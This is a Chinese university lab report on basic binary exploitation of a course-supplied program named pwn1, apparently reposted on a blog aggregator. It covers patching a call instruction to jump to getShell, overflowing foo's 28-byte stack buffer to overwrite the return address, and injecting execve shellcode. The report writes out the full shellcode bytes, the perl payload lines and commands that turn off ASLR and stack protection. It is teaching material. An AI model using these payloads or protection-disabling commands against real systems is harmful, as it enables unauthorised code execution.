当前位置: 首页 > news >正文

20232322 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一.实验内容

  • 修改可执行文件内容,改变程序中的一个函数调用指令,直接跳转到getShell函数。
  • 利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

二.实验过程

(1)直接修改程序机器指令,改变程序执行流程

  • 下载pwn1文件并传至虚拟机后输入反汇编指令 objdump -d pwn1 | more 找到函数调用的相关指令
    屏幕截图 2025-10-11 143241
  • 可以看到main中80484b5位置是跳转到foo函数的指令。跳转指令中,e8是跳转的意思,d7ffffff为补码,所以要调用getShell函数,需要改变后面四个字节。根据计算,补码为c3ffffff。
  • 输入 cp pwn1 pwn2 复制文件pwn1
  • 输入 vi pwn2 进入文件pwn2
  • 输入 :%!xxd 切换为16进制模式,输入 /e8 d7 找到对应内容
    屏幕截图 2025-10-11 150853
  • 将d7改为c3后输入 :%!xxd -r 改为原格式并输入 :wq 保存
  • 通过 objdump -d pwn2 | more 反汇编查看更改结果
    屏幕截图 2025-10-11 151728
  • 运行pwn2验证
    屏幕截图 2025-10-11 151845
    可以看到修改成功,并且成功运行getshell。

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

  • 反汇编pwn1找到main、foo、和getshell函数
    屏幕截图 2025-10-11 160428
    可以发现在foo函数中,8048497位置的指令为“lea -0x1c(%ebp),%eax”,即只为后续的读入字符串预留了0x1c=28字节的缓冲区。call调用foo时,原本会在堆栈上压上返回地址80484ba,所以需要通过修改,让返回地址的值被覆盖为getShell函数的地址804847d。
  • 输入 gdb pwn1 调试程序,输入1111111122222222333333334444444455555555 然后使用 info r 查看eip的值为0x35353535,即5555的ascii码
    屏幕截图 2025-10-11 163225
  • 输入1111111122222222333333334444444412345678调试,查看eip的值为0x34333231,即4321的ascii码。
    屏幕截图 2025-10-11 163705
    这就确定了应该如何设置攻击字符串,即将第33至第36个字符设置为804847d按字节的倒序。
  • 利用perl软件生成包括这样字符串的一个文件,用 xxd input 命令检查文件内容
    屏幕截图 2025-10-11 164118
  • 将input的输入作为pwn1的输入得到如图结果
    屏幕截图 2025-10-11 164351
    成功得到了shell

(3)注入Shellcode并执行

  • execstack -s pwn1 设置堆栈可执行
  • execstack -q pwn1 查询文件的堆栈是否可执行
  • echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
  • more /proc/sys/kernel/randomize_va_space 验证随机化是否关闭
    屏幕截图 2025-10-12 135102
  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 创建一个 input_shellcode 文件
  • 输入 (cat input_shellcode;cat) | ./pwn1 将input_shellcode作为pwn1的输入
  • 输入 ps -ef | grep pwn1 查看进程
    屏幕截图 2025-10-12 141429
    可知16487是我们的进程号
  • 用gdb调试程序,输入 disassemble foo 反编译foo函数,*break 0x080484ae 设置断点,在另一个终端输入命令c并在此终端按一下回车
    屏幕截图 2025-10-12 152804
  • 输入 info r esp 看到ESP值为0xffffcf2c
    屏幕截图 2025-10-12 152940
  • 输入 x/16x 0xffffcf2c 查看存放内容
    屏幕截图 2025-10-12 153107
    可以看到0x01020304,说明找到了我们要的地址,再加上四个字节得到0xffffcf30就是shellcode的地址
  • 使用 \x30\xcf\xff\xff 替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\x30\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xcf\xff\xff\x00"' > input_shellcode
  • 注入后执行ls命令
    屏幕截图 2025-10-12 161520

三.问题及解决方案

  • 问题1:无法下载execstack
  • 问题1解决方案:前往官网下载后,传输到虚拟机中解压
  • 问题2:Xftp 8无法连接
  • 问题2解决方案:在虚拟机中下载并启用ssh服务、
  • 问题3:echo "0" > /proc/sys/kernel/randomize_va_space命令执行时提示无权限
  • 问题3解决方案:将用户权限更改为root权限

四.学习感悟与思考

本次实验虽然是按照指导书一步步做的,但对于我来说还是较为困难。首先刚开始确实很难理解相应的地址关系,不过在问过同学以及查阅相关资料后还是明白了个大概。其次是实验工具的使用上还是不太熟练,很多没必要的操作导致时间上的浪费。最后,通过这次实验也是感受到了网络攻防的不易,这次在许多限制条件下才能完成这样简单的攻击,可想而知真正的网络攻防战场更是十分困难,所以我们学习网络攻防技术任重而道远。

参考资料

-逆向及Bof基础实践说明
-20242825 2024-2025-2 《网络攻防实践》第九周作业
-Linux下关闭ASLR(地址空间随机化)的方法

http://www.hskmm.com/?act=detail&tid=29394

相关文章:

  • 实验1 现代c++编程初体验
  • 冬天快乐
  • P2441M 见过的 tricks
  • 企业大数据战略定位
  • OpenAI加码个性化消费AI技术布局
  • 线性回归 C++ 实现
  • 内存分区
  • Spring Data JPA学习笔记
  • P1112 波浪数 题解
  • 20232411 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • 使用 Pascal 实现英文数字验证码识别系统
  • PWN手的成长之路-15-jarvisoj_level2_x64
  • 2025.10.12——1绿
  • 价值博弈场的工程实现:构建数字文明的价值免疫系统——声明Ai生成
  • 基于 Rust 的英文数字验证码识别系统设计与实现
  • 2025年两联供室内机厂家最新权威推荐榜:技术实力与市场口碑
  • 2025武汉商铺装修防水厂家最新权威推荐榜:专业施工与品质保
  • 2025铝合金微弧氧化厂家权威推荐榜:表面处理技术实力深度解
  • 2025杉木木方厂家最新权威推荐榜:优质木材与稳定供应口碑之
  • 2025年厂房保养厂家最新权威推荐榜:专业维护与成本控制优选
  • 使用C语言实现重写stm32的启动文件
  • 2025中医师承权威推荐榜:名师带徒与临床实践深度解析
  • 让我们开始 CSS 的学习之旅
  • 2025液压无损扒胎机厂家权威推荐榜:高效无损与耐用性能深度
  • Linux环境下的UDEV机制及其与守护进程的关联
  • 在Red Hat Enterprise Linux 9上使用Docker快速安装并部署
  • [转] 基于ubuntu-base进行根文件系统的修改与打包
  • jquery 字符串转数字
  • AI圈每日技术学习---紧跟时代脚步(N8n工作流)
  • B -识别浮点常量问题